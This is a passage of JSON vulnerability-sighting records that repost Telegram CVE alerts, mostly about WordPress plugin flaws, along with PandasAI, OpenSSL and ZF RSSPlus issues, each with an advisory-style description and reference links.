"CVE-2024-12638", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3460", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12638\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: No description available\n\ud83d\udccf Published: 2025-01-30T06:15:29.333\n\ud83d\udccf Modified: N/A\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/a6f5b0fe-00a0-4e30-aec6-87882c035beb/", "creation_timestamp": "2025-01-30T07:18:51.000000Z"}, {"uuid": "26ec9395-935a-444f-ae76-9f4f55f5c1f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12709", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3458", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12709\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: No description available\n\ud83d\udccf Published: 2025-01-30T06:15:29.557\n\ud83d\udccf Modified: N/A\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/d93056f1-1a6e-405f-a094-d4d270393f87/", "creation_timestamp": "2025-01-30T07:18:49.000000Z"}, {"uuid": "520a9bfb-e7b3-4060-abe8-c2d93b3d8802", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12163", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3462", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12163\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: No description available\n\ud83d\udccf Published: 2025-01-30T06:15:29.113\n\ud83d\udccf Modified: N/A\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/ea704054-fb66-4014-89bd-1c61074f64e5/", "creation_timestamp": "2025-01-30T07:18:55.000000Z"}, {"uuid": "8bff3b73-9cef-42e8-9f83-2357ebc2ee8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12524", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3485", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12524\n\ud83d\udd25 CVSS Score: 6.2 (CVSS_V3)\n\ud83d\udd39 Description: The Clinked Client Portal plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'clinked-login-button' shortcode in all versions up to, and including, 1.9 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-30T12:31:18Z\n\ud83d\udccf Modified: 2025-01-30T12:31:18Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12524\n2. https://plugins.trac.wordpress.org/browser/clinked-client-portal/trunk/clinked-wordpress-plugin.php#L87\n3. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3229331%40clinked-client-portal&new=3229331%40clinked-client-portal&sfp_email=&sfph_mail=\n4. https://www.wordfence.com/threat-intel/vulnerabilities/id/417b9dfe-2571-4816-af55-c7cb7dfa62c6?source=cve", "creation_timestamp": "2025-01-30T13:11:30.000000Z"}, {"uuid": "3cb69d8f-cbf4-46ea-b642-d2897f593122", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12772", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3622", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12772\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Ninja Tables  WordPress plugin before 5.0.17 does not sanitize and escape a parameter before outputting it back in the page when importing a CSV, leading to a Cross Site Scripting vulnerability.\n\ud83d\udccf Published: 2025-01-31T06:30:53Z\n\ud83d\udccf Modified: 2025-01-31T06:30:53Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12772\n2. https://wpscan.com/vulnerability/7b6d0f95-6632-4079-8c1b-517a8d02c330", "creation_timestamp": "2025-01-31T08:15:16.000000Z"}, {"uuid": "cc38df7b-086f-44f9-ad61-f89d9eaf396d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12620", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3731", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12620\n\ud83d\udd25 CVSS Score: 5.3 (CVSS_V3)\n\ud83d\udd39 Description: The AnimateGL Animations for WordPress \u2013 Elementor & Gutenberg Blocks Animations plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'agl_json' AJAX action in all versions up to, and including, 1.4.23. This makes it possible for unauthenticated attackers to update the plugin's settings.\n\ud83d\udccf Published: 2025-02-01T06:31:00Z\n\ud83d\udccf Modified: 2025-02-01T06:31:00Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12620\n2. https://wordpress.org/plugins/animategl\n3. https://www.wordfence.com/threat-intel/vulnerabilities/id/841a028d-ff36-4e3f-903b-e25951648075?source=cve", "creation_timestamp": "2025-02-01T07:16:26.000000Z"}, {"uuid": "6e7b03a1-4a91-4d2e-a913-3f5aea995e75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12171", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3729", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12171\n\ud83d\udd25 CVSS Score: 8.7 (CVSS_V3)\n\ud83d\udd39 Description: The ELEX WordPress HelpDesk & Customer Ticketing System plugin for WordPress is vulnerable to privilege escalation due to a missing capability check on the 'eh_crm_agent_add_user' AJAX action in all versions up to, and including, 3.2.6. This makes it possible for authenticated attackers, with Subscriber-level access and above, to create new administrative user accounts.\n\ud83d\udccf Published: 2025-02-01T06:31:00Z\n\ud83d\udccf Modified: 2025-02-01T06:31:00Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12171\n2. https://plugins.trac.wordpress.org/changeset/3227859/elex-helpdesk-customer-support-ticket-system/trunk/includes/class-crm-ajax-functions-one.php\n3. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3213791%40elex-helpdesk-customer-support-ticket-system&new=3213791%40elex-helpdesk-customer-support-ticket-system&sfp_email=&sfph_mail=\n4. https://www.wordfence.com/threat-intel/vulnerabilities/id/cbcd978b-e81f-4c39-b2f7-adc948d21b1b?source=cve", "creation_timestamp": "2025-02-01T07:16:25.000000Z"}, {"uuid": "c7ce35ae-2d5e-4f29-846f-262d17eee668", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12184", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3714", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12184\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: No description available\n\ud83d\udccf Published: 2025-02-01T04:15:30.443\n\ud83d\udccf Modified: N/A\n\ud83d\udd17 References:\n1. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3231363%40contact-forms&new=3231363%40contact-forms&sfp_email=&sfph_mail=\n2. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3232168%40contact-forms&new=3232168%40contact-forms&sfp_email=&sfph_mail=\n3. https://www.wordfence.com/threat-intel/vulnerabilities/id/695df547-f068-4ac1-926f-80dbf75632dd?source=cve", "creation_timestamp": "2025-02-01T05:25:51.000000Z"}, {"uuid": "7b5b549d-d7df-41b1-b1ba-483e57f1500b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12620", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3713", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12620\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: No description available\n\ud83d\udccf Published: 2025-02-01T04:15:30.583\n\ud83d\udccf Modified: N/A\n\ud83d\udd17 References:\n1. https://wordpress.org/plugins/animategl/\n2. https://www.wordfence.com/threat-intel/vulnerabilities/id/841a028d-ff36-4e3f-903b-e25951648075?source=cve", "creation_timestamp": "2025-02-01T05:25:50.000000Z"}, {"uuid": "09ed600f-718f-44ec-853d-b5c697be69d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12171", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3715", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12171\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: No description available\n\ud83d\udccf Published: 2025-02-01T04:15:30.303\n\ud83d\udccf Modified: N/A\n\ud83d\udd17 References:\n1. https://plugins.trac.wordpress.org/changeset/3227859/elex-helpdesk-customer-support-ticket-system/trunk/includes/class-crm-ajax-functions-one.php\n2. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3213791%40elex-helpdesk-customer-support-ticket-system&new=3213791%40elex-helpdesk-customer-support-ticket-system&sfp_email=&sfph_mail=\n3. https://www.wordfence.com/threat-intel/vulnerabilities/id/cbcd978b-e81f-4c39-b2f7-adc948d21b1b?source=cve", "creation_timestamp": "2025-02-01T05:25:51.000000Z"}, {"uuid": "f4aa832b-75d8-460b-8b10-73c224bfd84a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12041", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3721", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12041\n\ud83d\udd25 CVSS Score: 5.3 (CVSS_V3)\n\ud83d\udd39 Description: The Directorist: AI-Powered WordPress Business Directory Plugin with Classified Ads Listings plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 8.0.12 via the /wp-json/directorist/v1/users/ endpoint. This makes it possible for unauthenticated attackers to extract sensitive data including including usernames, email addresses, names, and more information about users.\n\ud83d\udccf Published: 2025-02-01T06:31:01Z\n\ud83d\udccf Modified: 2025-02-01T06:31:01Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12041\n2. https://plugins.trac.wordpress.org/changeset/3208874/directorist/tags/8.0.9/includes/rest-api/Version1/class-users-controller.php\n3. https://plugins.trac.wordpress.org/changeset/3231156/directorist/tags/8.1/includes/rest-api/Version1/class-users-controller.php\n4. https://www.wordfence.com/threat-intel/vulnerabilities/id/0d9817ff-ca56-4941-97bc-f26defe7ddd5?source=cve", "creation_timestamp": "2025-02-01T07:16:13.000000Z"}, {"uuid": "9adf7a94-3db5-46cc-9a84-2a92c99e7869", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12184", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3734", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12184\n\ud83d\udd25 CVSS Score: 5.3 (CVSS_V3)\n\ud83d\udd39 Description: The WordPress Contact Forms by Cimatti plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the accua_forms_download_submitted_file() function in all versions up to, and including, 1.9.4. This makes it possible for unauthenticated attackers to download other user submitted forms.\n\ud83d\udccf Published: 2025-02-01T06:31:00Z\n\ud83d\udccf Modified: 2025-02-01T06:31:00Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12184\n2. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3231363%40contact-forms&new=3231363%40contact-forms&sfp_email=&sfph_mail=\n3. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3232168%40contact-forms&new=3232168%40contact-forms&sfp_email=&sfph_mail=\n4. https://www.wordfence.com/threat-intel/vulnerabilities/id/695df547-f068-4ac1-926f-80dbf75632dd?source=cve", "creation_timestamp": "2025-02-01T07:16:31.000000Z"}, {"uuid": "f85f2e53-c479-40c6-9c3c-23ce6a2b548e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12825", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3748", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12825\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: No description available\n\ud83d\udccf Published: 2025-02-01T08:15:07.337\n\ud83d\udccf Modified: N/A\n\ud83d\udd17 References:\n1. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3226283%40custom-related-posts&new=3226283%40custom-related-posts&sfp_email=&sfph_mail=\n2. https://www.wordfence.com/threat-intel/vulnerabilities/id/40ba98a0-2193-4201-8370-34fd438dadb3?source=cve", "creation_timestamp": "2025-02-01T09:26:08.000000Z"}, {"uuid": "25ad2df0-82f9-4d8a-b9e0-396105b3816c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12825", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3753", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12825\n\ud83d\udd25 CVSS Score: 5.3 (CVSS_V3)\n\ud83d\udd39 Description: The Custom Related Posts plugin for WordPress is vulnerable to unauthorized access & modification of data due to a missing capability check on three AJAX actions in all versions up to, and including, 1.7.3. This makes it possible for authenticated attackers, with Subscriber-level access and above, to search posts and link/unlink relations.\n\ud83d\udccf Published: 2025-02-01T09:30:28Z\n\ud83d\udccf Modified: 2025-02-01T09:30:28Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12825\n2. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3226283%40custom-related-posts&new=3226283%40custom-related-posts&sfp_email=&sfph_mail=\n3. https://www.wordfence.com/threat-intel/vulnerabilities/id/40ba98a0-2193-4201-8370-34fd438dadb3?source=cve", "creation_timestamp": "2025-02-01T10:15:43.000000Z"}, {"uuid": "92ba9539-ad54-4e89-8496-d15cd80c81ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12366", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/3932", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12366\n\ud83d\udd25 CVSS Score: 9.8 (CVSS_V3)\n\ud83d\udd39 Description: PandasAI uses an interactive prompt function that is vulnerable to prompt injection and run arbitrary Python code that can lead to Remote Code Execution (RCE) instead of the intended explanation of the natural language processing by the LLM. The security controls of PandasAI (2.4.3 and earlier) fail to distinguish between legitimate and malicious inputs, allowing the attackers to manipulate the system into executing untrusted code, leading to untrusted code execution (RCE), system compromise, or pivoting attacks on connected services.\n\ud83d\udccf Published: 2025-02-11T15:32:24Z\n\ud83d\udccf Modified: 2025-02-11T21:41:47Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12366\n2. https://docs.getpanda.ai/v3/privacy-security\n3. https://docs.pandas-ai.com/advanced-security-agent\n4. https://github.com/sinaptik-ai/pandas-ai\n5. https://www.kb.cert.org/vuls/id/148244", "creation_timestamp": "2025-02-11T22:06:55.000000Z"}, {"uuid": "c095c7b9-c6db-493f-bcc4-093e18c63fe4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12315", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/4047", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12315\n\ud83d\udd25 CVSS Score: 7.5 (CVSS_V3)\n\ud83d\udd39 Description: The Export All Posts, Products, Orders, Refunds & Users plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 2.9.3 via the exports directory. This makes it possible for unauthenticated attackers to extract sensitive data stored insecurely in the /wp-content/uploads/smack_uci_uploads/exports/ directory which can contain information like exported user data.\n\ud83d\udccf Published: 2025-02-12T09:31:45Z\n\ud83d\udccf Modified: 2025-02-12T09:31:45Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12315\n2. https://plugins.trac.wordpress.org/browser/wp-ultimate-exporter/trunk/exportExtensions/ExportExtension.php#L1678\n3. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3230400%40wp-ultimate-exporter&new=3230400%40wp-ultimate-exporter&sfp_email=&sfph_mail=\n4. https://www.wordfence.com/threat-intel/vulnerabilities/id/075709e0-5f00-4d7b-80f6-96e3b4b4a895?source=cve", "creation_timestamp": "2025-02-12T10:08:40.000000Z"}, {"uuid": "cbddc259-668f-4d9d-9a25-6c1d7fa6422b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12797", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/3933", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12797\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 42.0.0-44.0.0 are vulnerable to a security issue. More details about the vulnerability itself can be found in https://openssl-library.org/news/secadv/20250211.txt.\n\nIf you are building cryptography source (\"sdist\") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.\n\ud83d\udccf Published: 2025-02-11T18:06:42Z\n\ud83d\udccf Modified: 2025-02-11T21:41:35Z\n\ud83d\udd17 References:\n1. https://github.com/pyca/cryptography/security/advisories/GHSA-79v4-65xg-pq4g\n2. https://nvd.nist.gov/vuln/detail/CVE-2024-12797\n3. https://github.com/openssl/openssl/commit/738d4f9fdeaad57660dcba50a619fafced3fd5e9\n4. https://github.com/openssl/openssl/commit/798779d43494549b611233f92652f0da5328fbe7\n5. https://github.com/openssl/openssl/commit/87ebd203feffcf92ad5889df92f90bb0ee10a699\n6. https://github.com/pyca/cryptography\n7. https://openssl-library.org/news/secadv/20250211.txt\n8. http://www.openwall.com/lists/oss-security/2025/02/11/3", "creation_timestamp": "2025-02-11T22:07:42.000000Z"}, {"uuid": "48d4949d-5d55-4e49-a23c-cd7d3549c48d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12164", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/4025", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12164\n\ud83d\udd25 CVSS Score: 4.2 (CVSS_V3)\n\ud83d\udd39 Description: The WPSyncSheets Lite For WPForms \u2013 WPForms Google Spreadsheet Addon plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the wpsslwp_reset_settings() function in all versions up to, and including, 1.6. This makes it possible for authenticated attackers, with Subscriber-level access and above, to reset the plugin's settings.\n\ud83d\udccf Published: 2025-02-12T06:30:32Z\n\ud83d\udccf Modified: 2025-02-12T06:30:32Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12164\n2. https://plugins.trac.wordpress.org/browser/wpsyncsheets-wpforms/tags/1.5/includes/class-wpsslwp-service.php#L779\n3. https://plugins.trac.wordpress.org/browser/wpsyncsheets-wpforms/tags/1.5/includes/class-wpsslwp-service.php#L92\n4. https://plugins.trac.wordpress.org/changeset/3234445/wpsyncsheets-wpforms/tags/1.6.1/includes/class-wpsslwp-service.php?old=3232281&old_path=wpsyncsheets-wpforms%2Ftags%2F1.6%2Fincludes%2Fclass-wpsslwp-service.php\n5. https://www.wordfence.com/threat-intel/vulnerabilities/id/83bd48fb-f5f9-4d3d-8fc4-a06adfa5a225?source=cve", "creation_timestamp": "2025-02-12T07:09:58.000000Z"}, {"uuid": "80d2a0d5-fc39-48c9-8433-10ce1e7233cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12213", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/4078", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12213\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: No description available\n\ud83d\udccf Published: 2025-02-12T10:15:08.737\n\ud83d\udccf Modified: N/A\n\ud83d\udd17 References:\n1. https://themeforest.net/item/superio-job-board-wordpress-theme/32180231\n2. https://www.wordfence.com/threat-intel/vulnerabilities/id/7cdfce88-b6c2-4820-9d6f-446f61b9b596?source=cve", "creation_timestamp": "2025-02-12T11:12:39.000000Z"}, {"uuid": "81077ad8-9aa7-4105-9fe4-04838b04e9de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12296", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/4077", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12296\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: No description available\n\ud83d\udccf Published: 2025-02-12T10:15:10.230\n\ud83d\udccf Modified: N/A\n\ud83d\udd17 References:\n1. https://themeforest.net/item/superio-job-board-wordpress-theme/32180231\n2. https://www.wordfence.com/threat-intel/vulnerabilities/id/dda2c437-8f41-480a-8816-2c07ab0eafa7?source=cve", "creation_timestamp": "2025-02-12T11:12:36.000000Z"}, {"uuid": "c0ac8737-01a0-4e93-91c1-2200df34aa71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12386", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/4096", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12386\n\ud83d\udd25 CVSS Score: 8.0 (CVSS_V3)\n\ud83d\udd39 Description: The WP Abstracts plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.7.3. This is due to missing nonce validation on multiple functions. This makes it possible for unauthenticated attackers to delete arbitrary accounts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-02-12T12:30:47Z\n\ud83d\udccf Modified: 2025-02-12T12:30:47Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12386\n2. https://plugins.trac.wordpress.org/changeset/3238664\n3. https://wordpress.org/plugins/wp-abstracts-manuscripts-manager/#developers\n4. https://www.wordfence.com/threat-intel/vulnerabilities/id/efd27466-f68e-4d8a-a1ec-90dbb6ff126b?source=cve", "creation_timestamp": "2025-02-12T13:11:31.000000Z"}, {"uuid": "08bc8468-d971-4a3e-88f2-b271ccca5b29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12213", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/4100", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12213\n\ud83d\udd25 CVSS Score: 9.8 (CVSS_V3)\n\ud83d\udd39 Description: The WP Job Board Pro plugin for WordPress is vulnerable to privilege escalation in all versions up to, and including, 1.2.76. This is due to the plugin allowing a user to supply the 'role' field when registering. This makes it possible for unauthenticated attackers to register as an administrator on vulnerable sites.\n\ud83d\udccf Published: 2025-02-12T12:30:46Z\n\ud83d\udccf Modified: 2025-02-12T12:30:46Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12213\n2. https://themeforest.net/item/superio-job-board-wordpress-theme/32180231\n3. https://www.wordfence.com/threat-intel/vulnerabilities/id/7cdfce88-b6c2-4820-9d6f-446f61b9b596?source=cve", "creation_timestamp": "2025-02-12T13:14:07.000000Z"}, {"uuid": "1553f847-aa6d-4293-83d6-8d060c94bee4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12296", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/4104", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12296\n\ud83d\udd25 CVSS Score: 8.7 (CVSS_V3)\n\ud83d\udd39 Description: The Apus Framework plugin for WordPress is vulnerable to unauthorized modification of data that can lead to privilege escalation due to a missing capability check on the 'import_page_options' function in all versions up to, and including, 2.3. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update arbitrary options on the WordPress site. This can be leveraged to update the default role for registration to administrator and enable user registration for attackers to gain administrative user access to a vulnerable site.\n\ud83d\udccf Published: 2025-02-12T12:30:46Z\n\ud83d\udccf Modified: 2025-02-12T12:30:46Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12296\n2. https://themeforest.net/item/superio-job-board-wordpress-theme/32180231\n3. https://www.wordfence.com/threat-intel/vulnerabilities/id/dda2c437-8f41-480a-8816-2c07ab0eafa7?source=cve", "creation_timestamp": "2025-02-12T13:14:46.000000Z"}, {"uuid": "9db3d7c0-5efd-4388-ba10-ae00d61654a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12586", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/4213", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12586\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Chalet-Montagne.com Tools WordPress plugin through 2.7.8 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.\n\ud83d\udccf Published: 2025-02-13T06:31:43Z\n\ud83d\udccf Modified: 2025-02-13T06:31:43Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12586\n2. https://wpscan.com/vulnerability/2ce05a44-762b-4aaf-b88a-92c830fd8ec4", "creation_timestamp": "2025-02-13T07:10:29.000000Z"}, {"uuid": "c96a7377-f10f-481e-8295-c15d34a83d27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12054", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/4408", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12054\n\ud83d\udd25 CVSS Score: 5.4 (CVSS_V3)\n\ud83d\udd39 Description: ZF Roll Stability Support Plus (RSSPlus) \nis vulnerable to an authentication bypass vulnerability targeting \ndeterministic RSSPlus SecurityAccess service seeds, which may allow an \nattacker to remotely (proximal/adjacent with RF equipment or via pivot \nfrom J2497 telematics devices) call diagnostic functions intended for \nworkshop or repair scenarios. This can impact system availability, \npotentially degrading performance or erasing software, however the \nvehicle remains in a 